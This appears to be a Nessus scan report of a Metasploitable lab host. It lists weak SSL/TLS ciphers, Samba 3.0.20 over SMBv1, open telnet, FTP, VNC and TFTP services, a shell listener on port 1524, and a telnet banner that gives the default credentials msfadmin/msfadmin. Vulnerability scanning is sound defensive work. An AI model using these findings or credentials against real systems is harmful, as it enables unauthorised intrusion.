SHA-1 Fingerprint: ED 09 30 88 70 66 03 BF D5 DC 23 73 99 B4 98 DA 2D [...]

10863 - SSL Certificate Information

Synopsis

This plugin displays the SSL certificate.

Description

This plugin connects to every SSL-related port and attempts to extract and dump the X.509 certificate.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2008/05/19, Modified: 2021/02/03

Plugin Output

tcp/5432/postgresql

```
Subject Name:  
  
Country: XX  
State/Province: There is no such thing outside US  
Locality: Everywhere  
Organization: OCOSA  
Organization Unit: Office for Complication of Otherwise Simple Affairs  
Common Name: ubuntu804-base.localdomain  
Email Address: root@ubuntu804-base.localdomain
```

```
Issuer Name:  
  
Country: XX  
State/Province: There is no such thing outside US  
Locality: Everywhere  
Organization: OCOSA  
Organization Unit: Office for Complication of Otherwise Simple Affairs  
Common Name: ubuntu804-base.localdomain  
Email Address: root@ubuntu804-base.localdomain
```

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT
Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption

Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
00 90 9D DC 99 0D 33 A4 B5

Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits

Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
15 6E 8D 30 38 F6 CA 2E 75

Fingerprints :

SHA-256 Fingerprint: E7 A7 FA 0D 63 E4 57 C7 C4 A5 9B 38 B7 08 49 C6 A7 0B DA 6F
83 0C 7A F1 E3 2D EE 43 6D E8 13 CC

SHA-1 Fingerprint: ED 09 30 88 70 66 03 BF D5 DC 23 73 99 B4 98 DA 2D [...]

70544 - SSL Cipher Block Chaining Cipher Suites Supported

Synopsis

The remote service supports the use of SSL Cipher Block Chaining ciphers, which combine previous blocks with subsequent ones.

Description

The remote host supports the use of SSL ciphers that operate in Cipher Block Chaining (CBC) mode. These cipher suites offer additional security over Electronic Codebook (ECB) mode, but have the potential to leak information if used improperly.

See Also

<https://www.openssl.org/docs/manmaster/man1/ciphers.html>

<http://www.nessus.org/u?cc4a822a>

<https://www.openssl.org/~bodo/tls-cbc.txt>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/10/22, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

```
Here is the list of SSL CBC ciphers supported by the remote server :
```

```
Low Strength Ciphers (<= 64-bit key)
```

Name	Code	KEX	Auth	Encryption	MAC
EXP-RC2-CBC-MD5 export	0x04, 0x00, 0x80	RSA(512)	RSA	RC2-CBC(40)	MD5
EXP-EDH-RSA-DES-CBC-SHA SHA1 export	0x00, 0x14	DH(512)	RSA	DES-CBC(40)	
EDH-RSA-DES-CBC-SHA SHA1	0x00, 0x15	DH	RSA	DES-CBC(56)	
EXP-ADH-DES-CBC-SHA SHA1 export	0x00, 0x19	DH(512)	None	DES-CBC(40)	
ADH-DES-CBC-SHA SHA1	0x00, 0x1A	DH	None	DES-CBC(56)	

EXP - DES - CBC - SHA	0x00, 0x08	RSA (512)	RSA	DES - CBC (40)	
SHA1 export					
EXP - RC2 - CBC - MD5	0x00, 0x06	RSA (512)	RSA	RC2 - CBC (40)	MD5
export					
DES - CBC - SHA	0x00, 0x09	RSA	RSA	DES - CBC (56)	
SHA1					
Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)					
Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	-----	-----	-----
DES - CBC3 - MD5	0x07, 0x00, 0xC0	RSA	RSA	3DES - CBC (168)	MD5
EDH - RSA - DES - CBC3 - SHA	0x00, 0x16	DH	RSA	3DES - CBC (168)	
SHA1					
ADH - DES - CBC3 - SHA	0x00, 0x1B	DH	None	3DES - CBC (168)	
SHA1					
DES - CBC3 - SHA	0x00, 0x0A	RSA	RSA	3DES - CBC (168)	
SHA1					
High Strength Ciphers (>= 112-bit key)					
Name	Code	KEX	Auth	Encryption	MAC
-----	----- [...]				

70544 - SSL Cipher Block Chaining Cipher Suites Supported

Synopsis

The remote service supports the use of SSL Cipher Block Chaining ciphers, which combine previous blocks with subsequent ones.

Description

The remote host supports the use of SSL ciphers that operate in Cipher Block Chaining (CBC) mode. These cipher suites offer additional security over Electronic Codebook (ECB) mode, but have the potential to leak information if used improperly.

See Also

<https://www.openssl.org/docs/manmaster/man1/ciphers.html>

<http://www.nessus.org/u?cc4a822a>

<https://www.openssl.org/~bodo/tls-cbc.txt>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/10/22, Modified: 2021/02/03

Plugin Output

tcp/5432/postgresql

```
Here is the list of SSL CBC ciphers supported by the remote server :
```

```
Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)
```

Name	Code	KEX	Auth	Encryption	MAC
EDH-RSA-DES-CBC3-SHA	0x00, 0x16	DH	RSA	3DES-CBC(168)	
SHA1					
DES-CBC3-SHA	0x00, 0x0A	RSA	RSA	3DES-CBC(168)	
SHA1					

```
High Strength Ciphers (>= 112-bit key)
```

Name	Code	KEX	Auth	Encryption	MAC
DHE-RSA-AES128-SHA	0x00, 0x33	DH	RSA	AES-CBC(128)	

DHE - RSA - AES256 - SHA	0x00, 0x39	DH	RSA	AES - CBC (256)
SHA1				
AES128 - SHA	0x00, 0x2F	RSA	RSA	AES - CBC (128)
SHA1				
AES256 - SHA	0x00, 0x35	RSA	RSA	AES - CBC (256)
SHA1				

The fields above are :

```
{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}
```

21643 - SSL Cipher Suites Supported

Synopsis

The remote service encrypts communications using SSL.

Description

This plugin detects which SSL ciphers are supported by the remote service for encrypting communications.

See Also

<https://www.openssl.org/docs/man1.0.2/man1/ciphers.html>

<http://www.nessus.org/u?e17ffced>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2006/06/05, Modified: 2023/07/10

Plugin Output

tcp/25/smtp

```
Here is the list of SSL ciphers supported by the remote server :  
Each group is reported per SSL Version.
```

```
SSL Version : TLSv1
```

```
Low Strength Ciphers (<= 64-bit key)
```

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	---	-----	---
EXP - EDH - RSA - DES - CBC - SHA	0x00, 0x14	DH(512)	RSA	DES - CBC (40)	
SHA1 export					
EDH - RSA - DES - CBC - SHA	0x00, 0x15	DH	RSA	DES - CBC (56)	
SHA1					
EXP - ADH - DES - CBC - SHA	0x00, 0x19	DH(512)	None	DES - CBC (40)	
SHA1 export					
EXP - ADH - RC4 - MD5	0x00, 0x17	DH(512)	None	RC4 (40)	MD5
export					
ADH - DES - CBC - SHA	0x00, 0x1A	DH	None	DES - CBC (56)	
SHA1					
EXP - DES - CBC - SHA	0x00, 0x08	RSA(512)	RSA	DES - CBC (40)	
SHA1 export					
EXP - RC2 - CBC - MD5	0x00, 0x06	RSA(512)	RSA	RC2 - CBC (40)	MD5
export					

EXP - RC4 - MD5 export	0x00, 0x03	RSA (512)	RSA	RC4 (40)	MD5
DES - CBC - SHA SHA1	0x00, 0x09	RSA	RSA	DES - CBC (56)	
Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)					
Name	Code	KEX	Auth	Encryption	MAC
EDH - RSA - DES - CBC3 - SHA SHA1	0x00, 0x16	DH	RSA	3DES - CBC (168)	
ADH - DES - CBC3 - SHA SHA1	0x00, 0x1B	DH	None	3DES - CBC (168)	
DES - CBC3 - SHA SHA1	0x00, 0x0A	RSA	RSA	3DES - CBC (168)	
High Strength Ciphers (>= 112-bit key)					
Name	Code	KEX	Auth	[...]	

21643 - SSL Cipher Suites Supported

Synopsis

The remote service encrypts communications using SSL.

Description

This plugin detects which SSL ciphers are supported by the remote service for encrypting communications.

See Also

<https://www.openssl.org/docs/man1.0.2/man1/ciphers.html>

<http://www.nessus.org/u?e17ffced>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2006/06/05, Modified: 2023/07/10

Plugin Output

tcp/5432/postgresql

```
Here is the list of SSL ciphers supported by the remote server :  
Each group is reported per SSL Version.
```

SSL Version : TLSv1 Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)					
Name	Code	KEX	Auth	Encryption	MAC
SHA1	EDH-RSA-DES-CBC3-SHA	0x00, 0x16	DH	RSA	3DES-CBC(168)
	DES-CBC3-SHA	0x00, 0x0A	RSA	RSA	3DES-CBC(168)
High Strength Ciphers (>= 112-bit key)					
Name	Code	KEX	Auth	Encryption	MAC
SHA1	DHE-RSA-AES128-SHA	0x00, 0x33	DH	RSA	AES-CBC(128)
	DHE-RSA-AES256-SHA	0x00, 0x39	DH	RSA	AES-CBC(256)
	AES128-SHA	0x00, 0x2F	RSA	RSA	AES-CBC(128)

AES256 - SHA	0x00, 0x35	RSA	RSA	AES - CBC (256)
SHA1				
RC4 - SHA	0x00, 0x05	RSA	RSA	RC4 (128)

SSL Version : SSLv3

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name	Code	KEX	Auth	Encryption	MAC
EDH-RSA-DES-CBC3-SHA	0x00, 0x16	DH	RSA	3DES-CBC (168)	
SHA1					
DES-CBC3-SHA	0x00, 0x0A	RSA	RSA	3DES-CBC (168)	
SHA1					

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
			[...]		

62563 - SSL Compression Methods Supported

Synopsis

The remote service supports one or more compression methods for SSL connections.

Description

This script detects which compression methods are supported by the remote service for SSL connections.

See Also

<http://www.iana.org/assignments/comp-meth-ids/comp-meth-ids.xml>
<https://tools.ietf.org/html/rfc3749>
<https://tools.ietf.org/html/rfc3943>
<https://tools.ietf.org/html/rfc5246>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2012/10/16, Modified: 2022/04/11

Plugin Output

tcp/25/smtp

```
Nessus was able to confirm that the following compression method is
supported by the target :
```

```
DEFLATE (0x01)
```

62563 - SSL Compression Methods Supported

Synopsis

The remote service supports one or more compression methods for SSL connections.

Description

This script detects which compression methods are supported by the remote service for SSL connections.

See Also

<http://www.iana.org/assignments/comp-meth-ids/comp-meth-ids.xml>
<https://tools.ietf.org/html/rfc3749>
<https://tools.ietf.org/html/rfc3943>
<https://tools.ietf.org/html/rfc5246>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2012/10/16, Modified: 2022/04/11

Plugin Output

tcp/5432/postgresql

```
Nessus was able to confirm that the following compression method is
supported by the target :
```

```
DEFLATE (0x01)
```

57041 - SSL Perfect Forward Secrecy Cipher Suites Supported

Synopsis

The remote service supports the use of SSL Perfect Forward Secrecy ciphers, which maintain confidentiality even if the key is stolen.

Description

The remote host supports the use of SSL ciphers that offer Perfect Forward Secrecy (PFS) encryption. These cipher suites ensure that recorded SSL traffic cannot be broken at a future date if the server's private key is compromised.

See Also

<https://www.openssl.org/docs/manmaster/man1/ciphers.html>

https://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange

https://en.wikipedia.org/wiki/Perfect_forward_secrecy

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/12/07, Modified: 2021/03/09

Plugin Output

tcp/25/smtp

```
Here is the list of SSL PFS ciphers supported by the remote server :
```

```
Low Strength Ciphers (<= 64-bit key)
```

Name	Code	KEX	Auth	Encryption	MAC
EXP-EDH-RSA-DES-CBC-SHA	0x00, 0x14	DH(512)	RSA	DES-CBC(40)	
SHA1 export					
EDH-RSA-DES-CBC-SHA	0x00, 0x15	DH	RSA	DES-CBC(56)	
SHA1					

```
Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)
```

Name	Code	KEX	Auth	Encryption	MAC
EDH-RSA-DES-CBC3-SHA	0x00, 0x16	DH	RSA	3DES-CBC(168)	

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
DHE-RSA-AES128-SHA SHA1	0x00, 0x33	DH	RSA	AES-CBC(128)	
DHE-RSA-AES256-SHA SHA1	0x00, 0x39	DH	RSA	AES-CBC(256)	

The fields above are :

{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}

57041 - SSL Perfect Forward Secrecy Cipher Suites Supported

Synopsis

The remote service supports the use of SSL Perfect Forward Secrecy ciphers, which maintain confidentiality even if the key is stolen.

Description

The remote host supports the use of SSL ciphers that offer Perfect Forward Secrecy (PFS) encryption. These cipher suites ensure that recorded SSL traffic cannot be broken at a future date if the server's private key is compromised.

See Also

<https://www.openssl.org/docs/manmaster/man1/ciphers.html>

https://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange

https://en.wikipedia.org/wiki/Perfect_forward_secrecy

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/12/07, Modified: 2021/03/09

Plugin Output

tcp/5432/postgresql

```
Here is the list of SSL PFS ciphers supported by the remote server :
```

```
Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)
```

Name	Code	KEX	Auth	Encryption	MAC
EDH-RSA-DES-CBC3-SHA SHA1	0x00, 0x16	DH	RSA	3DES-CBC(168)	

```
High Strength Ciphers (>= 112-bit key)
```

Name	Code	KEX	Auth	Encryption	MAC
DHE-RSA-AES128-SHA SHA1	0x00, 0x33	DH	RSA	AES-CBC(128)	

The fields above are :

```
{Tenable ciphername}  
{Cipher ID code}  
Kex={key exchange}  
Auth={authentication}  
Encrypt={symmetric encryption method}  
MAC={message authentication code}  
{export flag}
```

51891 - SSL Session Resume Supported

Synopsis

The remote host allows resuming SSL sessions.

Description

This script detects whether a host allows resuming SSL sessions by performing a full SSL handshake to receive a session ID, and then reconnecting with the previously used session ID. If the server accepts the session ID in the second connection, the server maintains a cache of sessions that can be resumed.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/02/07, Modified: 2021/09/13

Plugin Output

tcp/25/smtp

This port supports resuming SSLv3 sessions.

156899 - SSL/TLS Recommended Cipher Suites

Synopsis

The remote host advertises discouraged SSL/TLS ciphers.

Description

The remote host has open SSL/TLS ports which advertise discouraged cipher suites. It is recommended to only enable support for the following cipher suites:

TLSv1.3:

- 0x13,0x01 TLS13_AES_128_GCM_SHA256
- 0x13,0x02 TLS13_AES_256_GCM_SHA384
- 0x13,0x03 TLS13_CHACHA20_POLY1305_SHA256

TLSv1.2:

- 0xC0,0x2B ECDHE-ECDSA-AES128-GCM-SHA256
- 0xC0,0x2F ECDHE-RSA-AES128-GCM-SHA256
- 0xC0,0x2C ECDHE-ECDSA-AES256-GCM-SHA384
- 0xC0,0x30 ECDHE-RSA-AES256-GCM-SHA384
- 0xCC,0xA9 ECDHE-ECDSA-CHACHA20-POLY1305
- 0xCC,0xA8 ECDHE-RSA-CHACHA20-POLY1305

This is the recommended configuration for the vast majority of services, as it is highly secure and compatible with nearly every client released in the last five (or more) years.

See Also

https://wiki.mozilla.org/Security/Server_Side_TLS

<https://ssl-config.mozilla.org/>

Solution

Only enable support for recommended cipher suites.

Risk Factor

None

Plugin Information

Published: 2022/01/20, Modified: 2024/02/12

Plugin Output

tcp/25/smtp

The remote host has listening SSL/TLS ports which advertise the discouraged cipher suites outlined below:

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
EXP-RC2-CBC-MD5 export	0x04, 0x00, 0x80	RSA(512)	RSA	RC2-CBC(40)	MD5
EXP-RC4-MD5 export	0x02, 0x00, 0x80	RSA(512)	RSA	RC4(40)	MD5
EXP-EDH-RSA-DES-CBC-SHA SHA1 export	0x00, 0x14	DH(512)	RSA	DES-CBC(40)	
EDH-RSA-DES-CBC-SHA SHA1	0x00, 0x15	DH	RSA	DES-CBC(56)	
EXP-ADH-DES-CBC-SHA SHA1 export	0x00, 0x19	DH(512)	None	DES-CBC(40)	
EXP-ADH-RC4-MD5 export	0x00, 0x17	DH(512)	None	RC4(40)	MD5
ADH-DES-CBC-SHA SHA1	0x00, 0x1A	DH	None	DES-CBC(56)	
EXP-DES-CBC-SHA SHA1 export	0x00, 0x08	RSA(512)	RSA	DES-CBC(40)	
EXP-RC2-CBC-MD5 export	0x00, 0x06	RSA(512)	RSA	RC2-CBC(40)	MD5
EXP-RC4-MD5 export	0x00, 0x03	RSA(512)	RSA	RC4(40)	MD5
DES-CBC-SHA SHA1	0x00, 0x09	RSA	RSA	DES-CBC(56)	

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name	Code	KEX	Auth	Encryption	MAC
DES-CBC3-MD5	0x07, 0x00, 0xC0	RSA	RSA	3DES-CBC(168)	MD5
EDH-RSA-DES-CBC3-SHA SHA1	0x00, 0x16	DH	RSA	3DES-CBC(168)	
ADH-DE [...]					

156899 - SSL/TLS Recommended Cipher Suites

Synopsis

The remote host advertises discouraged SSL/TLS ciphers.

Description

The remote host has open SSL/TLS ports which advertise discouraged cipher suites. It is recommended to only enable support for the following cipher suites:

TLSv1.3:

- 0x13,0x01 TLS13_AES_128_GCM_SHA256
- 0x13,0x02 TLS13_AES_256_GCM_SHA384
- 0x13,0x03 TLS13_CHACHA20_POLY1305_SHA256

TLSv1.2:

- 0xC0,0x2B ECDHE-ECDSA-AES128-GCM-SHA256
- 0xC0,0x2F ECDHE-RSA-AES128-GCM-SHA256
- 0xC0,0x2C ECDHE-ECDSA-AES256-GCM-SHA384
- 0xC0,0x30 ECDHE-RSA-AES256-GCM-SHA384
- 0xCC,0xA9 ECDHE-ECDSA-CHACHA20-POLY1305
- 0xCC,0xA8 ECDHE-RSA-CHACHA20-POLY1305

This is the recommended configuration for the vast majority of services, as it is highly secure and compatible with nearly every client released in the last five (or more) years.

See Also

https://wiki.mozilla.org/Security/Server_Side_TLS

<https://ssl-config.mozilla.org/>

Solution

Only enable support for recommended cipher suites.

Risk Factor

None

Plugin Information

Published: 2022/01/20, Modified: 2024/02/12

Plugin Output

tcp/5432/postgresql

The remote host has listening SSL/TLS ports which advertise the discouraged cipher suites outlined below:

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name	Code	KEX	Auth	Encryption	MAC
EDH-RSA-DES-CBC3-SHA	0x00, 0x16	DH	RSA	3DES-CBC(168)	
SHA1 DES-CBC3-SHA	0x00, 0x0A	RSA	RSA	3DES-CBC(168)	

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
DHE-RSA-AES128-SHA	0x00, 0x33	DH	RSA	AES-CBC(128)	
SHA1 DHE-RSA-AES256-SHA	0x00, 0x39	DH	RSA	AES-CBC(256)	
SHA1 AES128-SHA	0x00, 0x2F	RSA	RSA	AES-CBC(128)	
SHA1 AES256-SHA	0x00, 0x35	RSA	RSA	AES-CBC(256)	
SHA1 RC4-SHA	0x00, 0x05	RSA	RSA	RC4(128)	

The fields above are :

```
{Tenable ciphername}  
{Cipher ID code}  
Kex={key exchange}  
Auth={authentication}  
Encrypt={symmetric encryption method}  
MAC={message authentication code}  
{export flag}
```

25240 - Samba Server Detection

Synopsis

An SMB server is running on the remote host.

Description

The remote host is running Samba, a CIFS/SMB server for Linux and Unix.

See Also

<https://www.samba.org/>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2022/10/12

Plugin Output

tcp/445/cifs

104887 - Samba Version

Synopsis

It was possible to obtain the samba version from the remote operating system.

Description

Nessus was able to obtain the samba version from the remote operating by sending an authentication request to port 139 or 445. Note that this plugin requires SMB1 to be enabled on the host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2017/11/30, Modified: 2019/11/22

Plugin Output

tcp/445/cifs

```
The remote Samba Version is : Samba 3.0.20-Debian
```

96982 - Server Message Block (SMB) Protocol Version 1 Enabled (uncredentialed check)

Synopsis

The remote Windows host supports the SMBv1 protocol.

Description

The remote Windows host supports Server Message Block Protocol version 1 (SMBv1). Microsoft recommends that users discontinue the use of SMBv1 due to the lack of security features that were included in later SMB versions. Additionally, the Shadow Brokers group reportedly has an exploit that affects SMB; however, it is unknown if the exploit affects SMBv1 or another version. In response to this, US-CERT recommends that users disable SMBv1 per SMB best practices to mitigate these potential issues.

See Also

<https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/>

<https://support.microsoft.com/en-us/help/2696547/how-to-detect-enable-and-disable-smbv1-smbv2-and-smbv3-in-windows-and>

<http://www.nessus.org/u?8dcab5e4>

<http://www.nessus.org/u?234f8ef8>

<http://www.nessus.org/u?4c7e0cf3>

Solution

Disable SMBv1 according to the vendor instructions in Microsoft KB2696547. Additionally, block SMB directly by blocking TCP port 445 on all network boundary devices. For SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137 / 138 on all network boundary devices.

Risk Factor

None

References

XREF IAVT:0001-T-0710

Plugin Information

Published: 2017/02/03, Modified: 2020/09/22

Plugin Output

tcp/445/cifs

The remote host supports SMBv1..

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/21/ftp

An FTP server is running on this port.

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/22/ssh

An SSH server is running on this port.

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/23/telnet

```
A telnet server is running on this port.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/25/smtp

An SMTP server is running on this port.

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/80/www

A web server is running on this port.

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/1524/wild_shell

A shell server (Metasploitable) is running on this port.

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/2121/ftp

An FTP server is running on this port.

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/5900/vnc

```
A vnc server is running on this port.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/8180/www

A web server is running on this port.

17975 - Service Detection (GET request)

Synopsis

The remote service could be identified.

Description

It was possible to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0935

Plugin Information

Published: 2005/04/06, Modified: 2021/10/27

Plugin Output

tcp/3306/mysql

A MySQL server seems to be running on this port but the Nessus scanner IP has been blacklisted. Run 'mysqladmin flush-hosts' if you want complete tests.

17975 - Service Detection (GET request)

Synopsis

The remote service could be identified.

Description

It was possible to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0935

Plugin Information

Published: 2005/04/06, Modified: 2021/10/27

Plugin Output

tcp/6667/irc

An IRC daemon is listening on this port.

25220 - TCP/IP Timestamps Supported

Synopsis

The remote service implements TCP timestamps.

Description

The remote host implements TCP timestamps, as defined by RFC1323. A side effect of this feature is that the uptime of the remote host can sometimes be computed.

See Also

<http://www.ietf.org/rfc/rfc1323.txt>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2023/10/17

Plugin Output

tcp/0

11819 - TFTP Daemon Detection

Synopsis

A TFTP server is listening on the remote port.

Description

The remote host is running a TFTP (Trivial File Transfer Protocol) daemon. TFTP is often used by routers and diskless hosts to retrieve their configuration. It can also be used by worms to propagate.

Solution

Disable this service if you do not use it.

Risk Factor

None

Plugin Information

Published: 2003/08/13, Modified: 2022/12/28

Plugin Output

udp/69/tftp

110723 - Target Credential Status by Authentication Protocol - No Credentials Provided

Synopsis

Nessus was able to find common ports used for local checks, however, no credentials were provided in the scan policy.

Description

Nessus was not able to successfully authenticate directly to the remote target on an available authentication protocol. Nessus was able to connect to the remote port and identify that the service running on the port supports an authentication protocol, but Nessus failed to authenticate to the remote service using the provided credentials. There may have been a protocol failure that prevented authentication from being attempted or all of the provided credentials for the authentication protocol may be invalid. See plugin output for error details.

Please note the following :

- This plugin reports per protocol, so it is possible for valid credentials to be provided for one protocol and not another. For example, authentication may succeed via SSH but fail via SMB, while no credentials were provided for an available SNMP service.
- Providing valid credentials for all available authentication protocols may improve scan coverage, but the value of successful authentication for a given protocol may vary from target to target depending upon what data (if any) is gathered from the target via that protocol. For example, successful authentication via SSH is more valuable for Linux targets than for Windows targets, and likewise successful authentication via SMB is more valuable for Windows targets than for Linux targets.

Solution

n/a

Risk Factor

None

References

XREF IAVB:0001-B-0504

Plugin Information

Published: 2018/06/27, Modified: 2024/04/19

Plugin Output

tcp/0

```
SSH was detected on port 22 but no credentials were provided.  
SSH local checks were not enabled.
```


10281 - Telnet Server Detection

Synopsis

A Telnet server is listening on the remote port.

Description

The remote host is running a Telnet server, a remote terminal server.

Solution

Disable this service if you do not use it.

Risk Factor

None

Plugin Information

Published: 1999/10/12, Modified: 2020/06/12

Plugin Output

tcp/23/telnet

----- snip -----
----- snip -----

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login:

10287 - Traceroute Information

Synopsis

It was possible to obtain traceroute information.

Description

Makes a traceroute to the remote host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 1999/11/27, Modified: 2023/12/04

Plugin Output

udp/0

```
For your information, here is the traceroute from 192.168.1.100 to 192.168.1.101 :  
192.168.1.100  
192.168.1.101
```

```
Hop Count: 1
```

11154 - Unknown Service Detection: Banner Retrieval

Synopsis

There is an unknown service running on the remote host.

Description

Nessus was unable to identify a service on the remote host even though it returned a banner of some type.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/11/18, Modified: 2022/07/26

Plugin Output

tcp/8787

If you know what this service is and think the banner could be used to identify it, please send a description of the service along with the following output to svc-signatures@nessus.org :

```
Port      : 8787
Type      : get_http
Banner   :
0x0000: 00 00 00 03 04 08 46 00 00 03 A1 04 08 6F 3A 16      .....F.....o::
                  0x0010: 44 52 62 3A 3A 44 52 62 43 6F 6E 6E 45 72 72 6F  DRB::DRBConnErro
                  0x0020: 72 07 3A 07 62 74 5B 17 22 2F 2F 75 73 72 2F 6C  r..:bt[."//usr/l
                  0x0030: 69 62 2F 72 75 62 79 2F 31 2E 38 2F 64 72 62 2F  ib/ruby/1.8/db/
                  0x0040: 64 72 62 2E 72 62 3A 35 37 33 3A 69 6E 20 60 6C  drb.rb:573:in `l
                  0x0050: 6F 61 64 27 22 37 2F 75 73 72 2F 6C 69 62 2F 72  oad'"7/usr/lib/r
                  0x0060: 75 62 79 2F 31 2E 38 2F 64 72 62 2F 64 72 62 2E  uby/1.8/db/drdb.
                  0x0070: 72 62 3A 36 31 32 3A 69 6E 20 60 72 65 63 76 5F  rb:612:in `recv_
                  0x0080: 72 65 71 75 65 73 74 27 22 37 2F 75 73 72 2F 6C  request'"7/usr/l
                  0x0090: 69 62 2F 72 75 62 79 2F 31 2E 38 2F 64 72 62 2F  ib/ruby/1.8/db/
                  0x00A0: 64 72 62 2E 72 62 3A 39 31 31 3A 69 6E 20 60 72  drb.rb:911:in `r
                  0x00B0: 65 63 76 5F 72 65 71 75 65 73 74 27 22 3C 2F 75  ecv_request'"</u
